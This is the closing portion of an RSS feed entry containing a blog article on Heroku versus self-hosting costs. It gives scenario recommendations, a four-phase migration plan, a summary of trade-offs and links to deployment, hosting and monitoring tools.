              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Team</strong>: 1 technical founder</li>
<li><strong>Heroku bill</strong>: $180/month</li>
<li><strong>Revenue</strong>: $8k MRR</li>
<li><strong>Stage</strong>: Profitable, growing slowly</li>
</ul>
<p><strong>Recommendation</strong>: Maybe self-host (if comfortable with ops)</p>
<p><strong>Why</strong>: Depends on founder&#39;s DevOps comfort level. If experienced with ops, $150/month savings ($1,800/year) is meaningful for bootstrapped business. If not comfortable, $180/month is cheap insurance against operational disasters. Risk tolerance matters here.</p>
<h3 id="h3-scenario-4-enterprise-saas" class="group relative scroll-mt-24">
        <a href="#h3-scenario-4-enterprise-saas" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario 4: Enterprise SaaS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-4-enterprise-saas"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Team</strong>: 50+ engineers, dedicated platform team</li>
<li><strong>Heroku bill</strong>: $8,000/month</li>
<li><strong>Revenue</strong>: $5M+ ARR</li>
<li><strong>Stage</strong>: Mature product</li>
</ul>
<p><strong>Recommendation</strong>: Migrate to Kubernetes or similar</p>
<p><strong>Why</strong>: At this scale, neither Heroku nor basic self-hosting makes sense. Need proper orchestration (Kubernetes), multi-region, advanced monitoring. Heroku&#39;s limitations become obvious. Build internal platform or use managed Kubernetes (EKS, GKE, AKS).</p>
<h2 id="h2-migration-path-if-you-decide-to-self-host" class="group relative scroll-mt-24">
        <a href="#h2-migration-path-if-you-decide-to-self-host" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migration Path (If You Decide to Self-Host)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-migration-path-if-you-decide-to-self-host"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Don&#39;t migrate everything at once. Use this staged approach:</p>
<h3 id="h3-phase-1-proof-of-concept-1-week" class="group relative scroll-mt-24">
        <a href="#h3-phase-1-proof-of-concept-1-week" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 1: Proof of Concept (1 week)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-1-proof-of-concept-1-week"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Set up droplet with Coolify/CapRover</li>
<li>Deploy one non-critical application</li>
<li>Test deployments, rollbacks, environment variables</li>
<li>Validate SSL, DNS, basic monitoring</li>
<li>Document everything</li>
</ul>
<p><strong>Goal</strong>: Prove the tooling works without risking production</p>
<h3 id="h3-phase-2-staging-environment-2-weeks" class="group relative scroll-mt-24">
        <a href="#h3-phase-2-staging-environment-2-weeks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 2: Staging Environment (2 weeks)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-2-staging-environment-2-weeks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Migrate staging environment completely</li>
<li>Set up databases (managed or self-hosted)</li>
<li>Configure monitoring and alerts</li>
<li>Run load tests</li>
<li>Train team on new deployment process</li>
</ul>
<p><strong>Goal</strong>: Iron out operational issues without production risk</p>
<h3 id="h3-phase-3-production-migration-2-4-weeks" class="group relative scroll-mt-24">
        <a href="#h3-phase-3-production-migration-2-4-weeks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 3: Production Migration (2-4 weeks)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-3-production-migration-2-4-weeks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Export production data</li>
<li>Set up production databases</li>
<li>Configure production apps with low DNS TTL</li>
<li>Test thoroughly</li>
<li>Execute cutover during low-traffic window</li>
<li>Monitor closely for 48 hours</li>
<li>Keep Heroku running as backup for 1 week</li>
</ul>
<p><strong>Goal</strong>: Minimize production risk, enable fast rollback</p>
<h3 id="h3-phase-4-optimization-ongoing" class="group relative scroll-mt-24">
        <a href="#h3-phase-4-optimization-ongoing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 4: Optimization (ongoing)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-4-optimization-ongoing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Tune database performance</li>
<li>Set up comprehensive monitoring</li>
<li>Automate backups and test restores</li>
<li>Document runbooks</li>
<li>Implement disaster recovery procedures</li>
</ul>
<p><strong>Goal</strong>: Reach operational maturity</p>
<p><strong>Total timeline</strong>: 5-7 weeks for complete migration</p>
<h2 id="h2-the-honest-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-the-honest-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Honest Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-honest-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Heroku is expensive.</strong> For equivalent infrastructure, you&#39;ll pay 5-10x more than self-hosting.</p>
<p><strong>Self-hosting is cheaper.</strong> But not 90% cheaper when you factor in engineer time.</p>
<p><strong>The real question isn&#39;t cost</strong>—it&#39;s whether you want to own your infrastructure. </p>
<p><strong>Choose Heroku if</strong>:</p>
<ul>
<li>You want to focus on product, not infrastructure</li>
<li>You&#39;re pre-PMF and iterating rapidly</li>
<li>Your team lacks ops expertise</li>
<li>You value sleep and peace of mind</li>
</ul>
<p><strong>Choose self-hosting if</strong>:</p>
<ul>
<li>Your Heroku bill is legitimately painful (&gt;$1,000/month)</li>
<li>You have ops capability or want to build it</li>
<li>You&#39;re willing to trade convenience for control</li>
<li>You&#39;re committed long-term (12+ months)</li>
</ul>
<p><strong>There&#39;s no wrong answer.</strong> The &quot;right&quot; choice depends on your team, stage, skills, and priorities.</p>
<p>What&#39;s wrong is pretending the only difference is the monthly bill. Total Cost of Ownership matters. Operational risk matters. Engineer time matters. Sleep matters.</p>
<p>Make an informed decision based on your actual situation, not mythical 98% savings stories.</p>
<hr>
<h2 id="h2-resources-for-self-hosting" class="group relative scroll-mt-24">
        <a href="#h2-resources-for-self-hosting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Resources for Self-Hosting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-resources-for-self-hosting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Deployment Tools:</strong></p>
<ul>
<li><a href="https://coolify.io">Coolify</a> - Open-source Heroku alternative</li>
<li><a href="https://caprover.com">CapRover</a> - Easy Docker deployment</li>
<li><a href="http://dokku.viewdocs.io/dokku/">Dokku</a> - Heroku on your server</li>
<li><a href="https://kamal-deploy.org/">Kamal</a> - From 37signals</li>
</ul>
<p><strong>Cloud Providers:</strong></p>
<ul>
<li><a href="https://www.digitalocean.com/pricing">DigitalOcean</a> - Simple, predictable pricing</li>
<li><a href="https://www.hetzner.com/cloud">Hetzner Cloud</a> - EU-based, very cheap</li>
<li><a href="https://www.linode.com/pricing/">Linode/Akamai</a> - Alternative to DO</li>
</ul>
<p><strong>Monitoring:</strong></p>
<ul>
<li><a href="https://uptimerobot.com">Uptime Robot</a> - Free uptime monitoring</li>
<li><a href="https://www.netdata.cloud/">Netdata</a> - Real-time performance monitoring</li>
</ul>
<p><strong>TCO Calculators:</strong></p>
<ul>
<li>Build your own spreadsheet with this article&#39;s framework</li>
<li>Include infrastructure costs, engineer time, tooling, and risk factors</li>
<li><a href="https://m.do.co/c/2a9bba940f39">DigitalOcean</a> - Simple, predictable pricing</li>
</ul>
]]></content:encoded>
    </item>
  </channel>
</rss>